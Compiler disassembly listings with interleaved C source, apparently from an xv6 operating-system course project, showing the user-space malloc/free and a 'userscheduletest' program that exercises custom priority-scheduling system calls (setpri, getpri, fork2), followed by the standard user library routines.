57f: 50 push %eax
580: 57 push %edi
581: e8 2c fd ff ff call 2b2 <write>
586: e9 5b ff ff ff jmp 4e6 <printf+0xf6>
58b: 66 90 xchg %ax,%ax
58d: 66 90 xchg %ax,%ax
58f: 90 nop
00000590 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
590: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
591: a1 bc 09 00 00 mov 0x9bc,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
596: 89 e5 mov %esp,%ebp
598: 57 push %edi
599: 56 push %esi
59a: 53 push %ebx
59b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
59e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
5a0: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5a3: 39 c8 cmp %ecx,%eax
5a5: 73 19 jae 5c0 <free+0x30>
5a7: 89 f6 mov %esi,%esi
5a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
5b0: 39 d1 cmp %edx,%ecx
5b2: 72 1c jb 5d0 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5b4: 39 d0 cmp %edx,%eax
5b6: 73 18 jae 5d0 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
5b8: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5ba: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5bc: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5be: 72 f0 jb 5b0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5c0: 39 d0 cmp %edx,%eax
5c2: 72 f4 jb 5b8 <free+0x28>
5c4: 39 d1 cmp %edx,%ecx
5c6: 73 f0 jae 5b8 <free+0x28>
5c8: 90 nop
5c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
5d0: 8b 73 fc mov -0x4(%ebx),%esi
5d3: 8d 3c f1 lea (%ecx,%esi,8),%edi
5d6: 39 d7 cmp %edx,%edi
5d8: 74 19 je 5f3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
5da: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
5dd: 8b 50 04 mov 0x4(%eax),%edx
5e0: 8d 34 d0 lea (%eax,%edx,8),%esi
5e3: 39 f1 cmp %esi,%ecx
5e5: 74 23 je 60a <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
5e7: 89 08 mov %ecx,(%eax)
freep = p;
5e9: a3 bc 09 00 00 mov %eax,0x9bc
}
5ee: 5b pop %ebx
5ef: 5e pop %esi
5f0: 5f pop %edi
5f1: 5d pop %ebp
5f2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
5f3: 03 72 04 add 0x4(%edx),%esi
5f6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
5f9: 8b 10 mov (%eax),%edx
5fb: 8b 12 mov (%edx),%edx
5fd: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
600: 8b 50 04 mov 0x4(%eax),%edx
603: 8d 34 d0 lea (%eax,%edx,8),%esi
606: 39 f1 cmp %esi,%ecx
608: 75 dd jne 5e7 <free+0x57>
p->s.size += bp->s.size;
60a: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
60d: a3 bc 09 00 00 mov %eax,0x9bc
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
612: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
615: 8b 53 f8 mov -0x8(%ebx),%edx
618: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
61a: 5b pop %ebx
61b: 5e pop %esi
61c: 5f pop %edi
61d: 5d pop %ebp
61e: c3 ret
61f: 90 nop
00000620 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
620: 55 push %ebp
621: 89 e5 mov %esp,%ebp
623: 57 push %edi
624: 56 push %esi
625: 53 push %ebx
626: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
629: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
62c: 8b 15 bc 09 00 00 mov 0x9bc,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
632: 8d 78 07 lea 0x7(%eax),%edi
635: c1 ef 03 shr $0x3,%edi
638: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
63b: 85 d2 test %edx,%edx
63d: 0f 84 a3 00 00 00 je 6e6 <malloc+0xc6>
643: 8b 02 mov (%edx),%eax
645: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
648: 39 cf cmp %ecx,%edi
64a: 76 74 jbe 6c0 <malloc+0xa0>
64c: 81 ff 00 10 00 00 cmp $0x1000,%edi
652: be 00 10 00 00 mov $0x1000,%esi
657: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
65e: 0f 43 f7 cmovae %edi,%esi
661: ba 00 80 00 00 mov $0x8000,%edx
666: 81 ff ff 0f 00 00 cmp $0xfff,%edi
66c: 0f 46 da cmovbe %edx,%ebx
66f: eb 10 jmp 681 <malloc+0x61>
671: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
678: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
67a: 8b 48 04 mov 0x4(%eax),%ecx
67d: 39 cf cmp %ecx,%edi
67f: 76 3f jbe 6c0 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
681: 39 05 bc 09 00 00 cmp %eax,0x9bc
687: 89 c2 mov %eax,%edx
689: 75 ed jne 678 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
68b: 83 ec 0c sub $0xc,%esp
68e: 53 push %ebx
68f: e8 86 fc ff ff call 31a <sbrk>
if(p == (char*)-1)
694: 83 c4 10 add $0x10,%esp
697: 83 f8 ff cmp $0xffffffff,%eax
69a: 74 1c je 6b8 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
69c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
69f: 83 ec 0c sub $0xc,%esp
6a2: 83 c0 08 add $0x8,%eax
6a5: 50 push %eax
6a6: e8 e5 fe ff ff call 590 <free>
return freep;
6ab: 8b 15 bc 09 00 00 mov 0x9bc,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
6b1: 83 c4 10 add $0x10,%esp
6b4: 85 d2 test %edx,%edx
6b6: 75 c0 jne 678 <malloc+0x58>
return 0;
6b8: 31 c0 xor %eax,%eax
6ba: eb 1c jmp 6d8 <malloc+0xb8>
6bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
6c0: 39 cf cmp %ecx,%edi
6c2: 74 1c je 6e0 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
6c4: 29 f9 sub %edi,%ecx
6c6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
6c9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
6cc: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
6cf: 89 15 bc 09 00 00 mov %edx,0x9bc
return (void*)(p + 1);
6d5: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
6d8: 8d 65 f4 lea -0xc(%ebp),%esp
6db: 5b pop %ebx
6dc: 5e pop %esi
6dd: 5f pop %edi
6de: 5d pop %ebp
6df: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
6e0: 8b 08 mov (%eax),%ecx
6e2: 89 0a mov %ecx,(%edx)
6e4: eb e9 jmp 6cf <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
6e6: c7 05 bc 09 00 00 c0 movl $0x9c0,0x9bc
6ed: 09 00 00
6f0: c7 05 c0 09 00 00 c0 movl $0x9c0,0x9c0
6f7: 09 00 00
base.s.size = 0;
6fa: b8 c0 09 00 00 mov $0x9c0,%eax
6ff: c7 05 c4 09 00 00 00 movl $0x0,0x9c4
706: 00 00 00
709: e9 3e ff ff ff jmp 64c <malloc+0x2c>
|
_userscheduletest: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "user.h"
#include "fcntl.h"
#include "param.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 56 push %esi
e: 53 push %ebx
f: 51 push %ecx
10: 83 ec 0c sub $0xc,%esp
int i;
i = setpri(getpid(), 2);
13: e8 9d 02 00 00 call 2b5 <getpid>
18: 83 ec 08 sub $0x8,%esp
1b: 6a 02 push $0x2
1d: 50 push %eax
1e: e8 b2 02 00 00 call 2d5 <setpri>
23: 89 c6 mov %eax,%esi
printf(1,"PID: %d, Get Pri = %d, success:%d\n", getpid(), getpri(getpid()),i);
25: e8 8b 02 00 00 call 2b5 <getpid>
2a: 89 04 24 mov %eax,(%esp)
2d: e8 ab 02 00 00 call 2dd <getpri>
32: 89 c3 mov %eax,%ebx
34: e8 7c 02 00 00 call 2b5 <getpid>
39: 89 34 24 mov %esi,(%esp)
3c: 53 push %ebx
3d: 50 push %eax
3e: 68 40 06 00 00 push $0x640
43: 6a 01 push $0x1
45: e8 3d 03 00 00 call 387 <printf>
int cpid = fork2(3);
4a: 83 c4 14 add $0x14,%esp
4d: 6a 03 push $0x3
4f: e8 91 02 00 00 call 2e5 <fork2>
if(cpid == 0) {
54: 83 c4 10 add $0x10,%esp
57: 85 c0 test %eax,%eax
59: 75 31 jne 8c <main+0x8c>
printf(1, "Entered child process\n");
5b: 83 ec 08 sub $0x8,%esp
5e: 68 64 06 00 00 push $0x664
63: 6a 01 push $0x1
65: e8 1d 03 00 00 call 387 <printf>
printf(1,"Child process pri is: %d\n",getpri(getpid()));
6a: e8 46 02 00 00 call 2b5 <getpid>
6f: 89 04 24 mov %eax,(%esp)
72: e8 66 02 00 00 call 2dd <getpri>
77: 83 c4 0c add $0xc,%esp
7a: 50 push %eax
7b: 68 7b 06 00 00 push $0x67b
80: 6a 01 push $0x1
82: e8 00 03 00 00 call 387 <printf>
exit();
87: e8 a9 01 00 00 call 235 <exit>
8c: 89 c3 mov %eax,%ebx
}
else
wait();
8e: e8 aa 01 00 00 call 23d <wait>
// i = getpri(cpid);
printf(1,"CPID: %d",cpid);
93: 83 ec 04 sub $0x4,%esp
96: 53 push %ebx
97: 68 95 06 00 00 push $0x695
9c: 6a 01 push $0x1
9e: e8 e4 02 00 00 call 387 <printf>
exit();
a3: e8 8d 01 00 00 call 235 <exit>
000000a8 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
a8: 55 push %ebp
a9: 89 e5 mov %esp,%ebp
ab: 53 push %ebx
ac: 8b 45 08 mov 0x8(%ebp),%eax
af: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
b2: 89 c2 mov %eax,%edx
b4: 0f b6 19 movzbl (%ecx),%ebx
b7: 88 1a mov %bl,(%edx)
b9: 8d 52 01 lea 0x1(%edx),%edx
bc: 8d 49 01 lea 0x1(%ecx),%ecx
bf: 84 db test %bl,%bl
c1: 75 f1 jne b4 <strcpy+0xc>
;
return os;
}
c3: 5b pop %ebx
c4: 5d pop %ebp
c5: c3 ret
000000c6 <strcmp>:
int
strcmp(const char *p, const char *q)
{
c6: 55 push %ebp
c7: 89 e5 mov %esp,%ebp
c9: 8b 4d 08 mov 0x8(%ebp),%ecx
cc: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
cf: eb 06 jmp d7 <strcmp+0x11>
p++, q++;
d1: 83 c1 01 add $0x1,%ecx
d4: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
d7: 0f b6 01 movzbl (%ecx),%eax
da: 84 c0 test %al,%al
dc: 74 04 je e2 <strcmp+0x1c>
de: 3a 02 cmp (%edx),%al
e0: 74 ef je d1 <strcmp+0xb>
return (uchar)*p - (uchar)*q;
e2: 0f b6 c0 movzbl %al,%eax
e5: 0f b6 12 movzbl (%edx),%edx
e8: 29 d0 sub %edx,%eax
}
ea: 5d pop %ebp
eb: c3 ret
000000ec <strlen>:
uint
strlen(const char *s)
{
ec: 55 push %ebp
ed: 89 e5 mov %esp,%ebp
ef: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
f2: ba 00 00 00 00 mov $0x0,%edx
f7: eb 03 jmp fc <strlen+0x10>
f9: 83 c2 01 add $0x1,%edx
fc: 89 d0 mov %edx,%eax
fe: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
102: 75 f5 jne f9 <strlen+0xd>
;
return n;
}
104: 5d pop %ebp
105: c3 ret
00000106 <memset>:
void*
memset(void *dst, int c, uint n)
{
106: 55 push %ebp
107: 89 e5 mov %esp,%ebp
109: 57 push %edi
10a: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
10d: 89 d7 mov %edx,%edi
10f: 8b 4d 10 mov 0x10(%ebp),%ecx
112: 8b 45 0c mov 0xc(%ebp),%eax
115: fc cld
116: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
118: 89 d0 mov %edx,%eax
11a: 5f pop %edi
11b: 5d pop %ebp
11c: c3 ret
0000011d <strchr>:
char*
strchr(const char *s, char c)
{
11d: 55 push %ebp
11e: 89 e5 mov %esp,%ebp
120: 8b 45 08 mov 0x8(%ebp),%eax
123: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
127: 0f b6 10 movzbl (%eax),%edx
12a: 84 d2 test %dl,%dl
12c: 74 09 je 137 <strchr+0x1a>
if(*s == c)
12e: 38 ca cmp %cl,%dl
130: 74 0a je 13c <strchr+0x1f>
for(; *s; s++)
132: 83 c0 01 add $0x1,%eax
135: eb f0 jmp 127 <strchr+0xa>
return (char*)s;
return 0;
137: b8 00 00 00 00 mov $0x0,%eax
}
13c: 5d pop %ebp
13d: c3 ret
0000013e <gets>:
char*
gets(char *buf, int max)
{
13e: 55 push %ebp
13f: 89 e5 mov %esp,%ebp
141: 57 push %edi
142: 56 push %esi
143: 53 push %ebx
144: 83 ec 1c sub $0x1c,%esp
147: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
14a: bb 00 00 00 00 mov $0x0,%ebx
14f: 8d 73 01 lea 0x1(%ebx),%esi
152: 3b 75 0c cmp 0xc(%ebp),%esi
155: 7d 2e jge 185 <gets+0x47>
cc = read(0, &c, 1);
157: 83 ec 04 sub $0x4,%esp
15a: 6a 01 push $0x1
15c: 8d 45 e7 lea -0x19(%ebp),%eax
15f: 50 push %eax
160: 6a 00 push $0x0
162: e8 e6 00 00 00 call 24d <read>
if(cc < 1)
167: 83 c4 10 add $0x10,%esp
16a: 85 c0 test %eax,%eax
16c: 7e 17 jle 185 <gets+0x47>
break;
buf[i++] = c;
16e: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
172: 88 04 1f mov %al,(%edi,%ebx,1)
if(c == '\n' || c == '\r')
175: 3c 0a cmp $0xa,%al
177: 0f 94 c2 sete %dl
17a: 3c 0d cmp $0xd,%al
17c: 0f 94 c0 sete %al
buf[i++] = c;
17f: 89 f3 mov %esi,%ebx
if(c == '\n' || c == '\r')
181: 08 c2 or %al,%dl
183: 74 ca je 14f <gets+0x11>
break;
}
buf[i] = '\0';
185: c6 04 1f 00 movb $0x0,(%edi,%ebx,1)
return buf;
}
189: 89 f8 mov %edi,%eax
18b: 8d 65 f4 lea -0xc(%ebp),%esp
18e: 5b pop %ebx
18f: 5e pop %esi
190: 5f pop %edi
191: 5d pop %ebp
192: c3 ret
00000193 <stat>:
int
stat(const char *n, struct stat *st)
{
193: 55 push %ebp
194: 89 e5 mov %esp,%ebp
196: 56 push %esi
197: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
198: 83 ec 08 sub $0x8,%esp
19b: 6a 00 push $0x0
19d: ff 75 08 pushl 0x8(%ebp)
1a0: e8 d0 00 00 00 call 275 <open>
if(fd < 0)
1a5: 83 c4 10 add $0x10,%esp
1a8: 85 c0 test %eax,%eax
1aa: 78 24 js 1d0 <stat+0x3d>
1ac: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
1ae: 83 ec 08 sub $0x8,%esp
1b1: ff 75 0c pushl 0xc(%ebp)
1b4: 50 push %eax
1b5: e8 d3 00 00 00 call 28d <fstat>
1ba: 89 c6 mov %eax,%esi
close(fd);
1bc: 89 1c 24 mov %ebx,(%esp)
1bf: e8 99 00 00 00 call 25d <close>
return r;
1c4: 83 c4 10 add $0x10,%esp
}
1c7: 89 f0 mov %esi,%eax
1c9: 8d 65 f8 lea -0x8(%ebp),%esp
1cc: 5b pop %ebx
1cd: 5e pop %esi
1ce: 5d pop %ebp
1cf: c3 ret
return -1;
1d0: be ff ff ff ff mov $0xffffffff,%esi
1d5: eb f0 jmp 1c7 <stat+0x34>
000001d7 <atoi>:
int
atoi(const char *s)
{
1d7: 55 push %ebp
1d8: 89 e5 mov %esp,%ebp
1da: 53 push %ebx
1db: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
1de: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
1e3: eb 10 jmp 1f5 <atoi+0x1e>
n = n*10 + *s++ - '0';
1e5: 8d 1c 80 lea (%eax,%eax,4),%ebx
1e8: 8d 04 1b lea (%ebx,%ebx,1),%eax
1eb: 83 c1 01 add $0x1,%ecx
1ee: 0f be d2 movsbl %dl,%edx
1f1: 8d 44 02 d0 lea -0x30(%edx,%eax,1),%eax
while('0' <= *s && *s <= '9')
1f5: 0f b6 11 movzbl (%ecx),%edx
1f8: 8d 5a d0 lea -0x30(%edx),%ebx
1fb: 80 fb 09 cmp $0x9,%bl
1fe: 76 e5 jbe 1e5 <atoi+0xe>
return n;
}
200: 5b pop %ebx
201: 5d pop %ebp
202: c3 ret
00000203 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
203: 55 push %ebp
204: 89 e5 mov %esp,%ebp
206: 56 push %esi
207: 53 push %ebx
208: 8b 45 08 mov 0x8(%ebp),%eax
20b: 8b 5d 0c mov 0xc(%ebp),%ebx
20e: 8b 55 10 mov 0x10(%ebp),%edx
char *dst;
const char *src;
dst = vdst;
211: 89 c1 mov %eax,%ecx
src = vsrc;
while(n-- > 0)
213: eb 0d jmp 222 <memmove+0x1f>
*dst++ = *src++;
215: 0f b6 13 movzbl (%ebx),%edx
218: 88 11 mov %dl,(%ecx)
21a: 8d 5b 01 lea 0x1(%ebx),%ebx
21d: 8d 49 01 lea 0x1(%ecx),%ecx
while(n-- > 0)
220: 89 f2 mov %esi,%edx
222: 8d 72 ff lea -0x1(%edx),%esi
225: 85 d2 test %edx,%edx
227: 7f ec jg 215 <memmove+0x12>
return vdst;
}
229: 5b pop %ebx
22a: 5e pop %esi
22b: 5d pop %ebp
22c: c3 ret
0000022d <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
22d: b8 01 00 00 00 mov $0x1,%eax
232: cd 40 int $0x40
234: c3 ret
00000235 <exit>:
SYSCALL(exit)
235: b8 02 00 00 00 mov $0x2,%eax
23a: cd 40 int $0x40
23c: c3 ret
0000023d <wait>:
SYSCALL(wait)
23d: b8 03 00 00 00 mov $0x3,%eax
242: cd 40 int $0x40
244: c3 ret
00000245 <pipe>:
SYSCALL(pipe)
245: b8 04 00 00 00 mov $0x4,%eax
24a: cd 40 int $0x40
24c: c3 ret
0000024d <read>:
SYSCALL(read)
24d: b8 05 00 00 00 mov $0x5,%eax
252: cd 40 int $0x40
254: c3 ret
00000255 <write>:
SYSCALL(write)
255: b8 10 00 00 00 mov $0x10,%eax
25a: cd 40 int $0x40
25c: c3 ret
0000025d <close>:
SYSCALL(close)
25d: b8 15 00 00 00 mov $0x15,%eax
262: cd 40 int $0x40
264: c3 ret
00000265 <kill>:
SYSCALL(kill)
265: b8 06 00 00 00 mov $0x6,%eax
26a: cd 40 int $0x40
26c: c3 ret
0000026d <exec>:
SYSCALL(exec)
26d: b8 07 00 00 00 mov $0x7,%eax
272: cd 40 int $0x40
274: c3 ret
00000275 <open>:
SYSCALL(open)
275: b8 0f 00 00 00 mov $0xf,%eax
27a: cd 40 int $0x40
27c: c3 ret
0000027d <mknod>:
SYSCALL(mknod)
27d: b8 11 00 00 00 mov $0x11,%eax
282: cd 40 int $0x40
284: c3 ret
00000285 <unlink>:
SYSCALL(unlink)
285: b8 12 00 00 00 mov $0x12,%eax
28a: cd 40 int $0x40
28c: c3 ret
0000028d <fstat>:
SYSCALL(fstat)
28d: b8 08 00 00 00 mov $0x8,%eax
292: cd 40 int $0x40
294: c3 ret
00000295 <link>:
SYSCALL(link)
295: b8 13 00 00 00 mov $0x13,%eax
29a: cd 40 int $0x40
29c: c3 ret
0000029d <mkdir>:
SYSCALL(mkdir)
29d: b8 14 00 00 00 mov $0x14,%eax
2a2: cd 40 int $0x40
2a4: c3 ret
000002a5 <chdir>:
SYSCALL(chdir)
2a5: b8 09 00 00 00 mov $0x9,%eax
2aa: cd 40 int $0x40
2ac: c3 ret
000002ad <dup>:
SYSCALL(dup)
2ad: b8 0a 00 00 00 mov $0xa,%eax
2b2: cd 40 int $0x40
2b4: c3 ret
000002b5 <getpid>:
SYSCALL(getpid)
2b5: b8 0b 00 00 00 mov $0xb,%eax
2ba: cd 40 int $0x40
2bc: c3 ret
000002bd <sbrk>:
SYSCALL(sbrk)
2bd: b8 0c 00 00 00 mov $0xc,%eax
2c2: cd 40 int $0x40
2c4: c3 ret
000002c5 <sleep>:
SYSCALL(sleep)
2c5: b8 0d 00 00 00 mov $0xd,%eax
2ca: cd 40 int $0x40
2cc: c3 ret
000002cd <uptime>:
SYSCALL(uptime)
2cd: b8 0e 00 00 00 mov $0xe,%eax
2d2: cd 40 int $0x40
2d4: c3 ret
000002d5 <setpri>:
SYSCALL(setpri)
2d5: b8 16 00 00 00 mov $0x16,%eax
2da: cd 40 int $0x40
2dc: c3 ret
000002dd <getpri>:
SYSCALL(getpri)
2dd: b8 17 00 00 00 mov $0x17,%eax
2e2: cd 40 int $0x40
2e4: c3 ret
000002e5 <fork2>:
SYSCALL(fork2)
2e5: b8 18 00 00 00 mov $0x18,%eax
2ea: cd 40 int $0x40
2ec: c3 ret
000002ed <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
2ed: 55 push %ebp
2ee: 89 e5 mov %esp,%ebp
2f0: 83 ec 1c sub $0x1c,%esp
2f3: 88 55 f4 mov %dl,-0xc(%ebp)
write(fd, &c, 1);
2f6: 6a 01 push $0x1
2f8: 8d 55 f4 lea -0xc(%ebp),%edx
2fb: 52 push %edx
2fc: 50 push %eax
2fd: e8 53 ff ff ff call 255 <write>
}
302: 83 c4 10 add $0x10,%esp
305: c9 leave
306: c3 ret
00000307 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
307: 55 push %ebp
308: 89 e5 mov %esp,%ebp
30a: 57 push %edi
30b: 56 push %esi
30c: 53 push %ebx
30d: 83 ec 2c sub $0x2c,%esp
310: 89 c7 mov %eax,%edi
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
312: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
316: 0f 95 c3 setne %bl
319: 89 d0 mov %edx,%eax
31b: c1 e8 1f shr $0x1f,%eax
31e: 84 c3 test %al,%bl
320: 74 10 je 332 <printint+0x2b>
neg = 1;
x = -xx;
322: f7 da neg %edx
neg = 1;
324: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp)
} else {
x = xx;
}
i = 0;
32b: be 00 00 00 00 mov $0x0,%esi
330: eb 0b jmp 33d <printint+0x36>
neg = 0;
332: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
339: eb f0 jmp 32b <printint+0x24>
do{
buf[i++] = digits[x % base];
33b: 89 c6 mov %eax,%esi
33d: 89 d0 mov %edx,%eax
33f: ba 00 00 00 00 mov $0x0,%edx
344: f7 f1 div %ecx
346: 89 c3 mov %eax,%ebx
348: 8d 46 01 lea 0x1(%esi),%eax
34b: 0f b6 92 a8 06 00 00 movzbl 0x6a8(%edx),%edx
352: 88 54 35 d8 mov %dl,-0x28(%ebp,%esi,1)
}while((x /= base) != 0);
356: 89 da mov %ebx,%edx
358: 85 db test %ebx,%ebx
35a: 75 df jne 33b <printint+0x34>
35c: 89 c3 mov %eax,%ebx
if(neg)
35e: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
362: 74 16 je 37a <printint+0x73>
buf[i++] = '-';
364: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
369: 8d 5e 02 lea 0x2(%esi),%ebx
36c: eb 0c jmp 37a <printint+0x73>
while(--i >= 0)
putc(fd, buf[i]);
36e: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx
373: 89 f8 mov %edi,%eax
375: e8 73 ff ff ff call 2ed <putc>
while(--i >= 0)
37a: 83 eb 01 sub $0x1,%ebx
37d: 79 ef jns 36e <printint+0x67>
}
37f: 83 c4 2c add $0x2c,%esp
382: 5b pop %ebx
383: 5e pop %esi
384: 5f pop %edi
385: 5d pop %ebp
386: c3 ret
00000387 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
387: 55 push %ebp
388: 89 e5 mov %esp,%ebp
38a: 57 push %edi
38b: 56 push %esi
38c: 53 push %ebx
38d: 83 ec 1c sub $0x1c,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
390: 8d 45 10 lea 0x10(%ebp),%eax
393: 89 45 e4 mov %eax,-0x1c(%ebp)
state = 0;
396: be 00 00 00 00 mov $0x0,%esi
for(i = 0; fmt[i]; i++){
39b: bb 00 00 00 00 mov $0x0,%ebx
3a0: eb 14 jmp 3b6 <printf+0x2f>
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
3a2: 89 fa mov %edi,%edx
3a4: 8b 45 08 mov 0x8(%ebp),%eax
3a7: e8 41 ff ff ff call 2ed <putc>
3ac: eb 05 jmp 3b3 <printf+0x2c>
}
} else if(state == '%'){
3ae: 83 fe 25 cmp $0x25,%esi
3b1: 74 25 je 3d8 <printf+0x51>
for(i = 0; fmt[i]; i++){
3b3: 83 c3 01 add $0x1,%ebx
3b6: 8b 45 0c mov 0xc(%ebp),%eax
3b9: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax
3bd: 84 c0 test %al,%al
3bf: 0f 84 23 01 00 00 je 4e8 <printf+0x161>
c = fmt[i] & 0xff;
3c5: 0f be f8 movsbl %al,%edi
3c8: 0f b6 c0 movzbl %al,%eax
if(state == 0){
3cb: 85 f6 test %esi,%esi
3cd: 75 df jne 3ae <printf+0x27>
if(c == '%'){
3cf: 83 f8 25 cmp $0x25,%eax
3d2: 75 ce jne 3a2 <printf+0x1b>
state = '%';
3d4: 89 c6 mov %eax,%esi
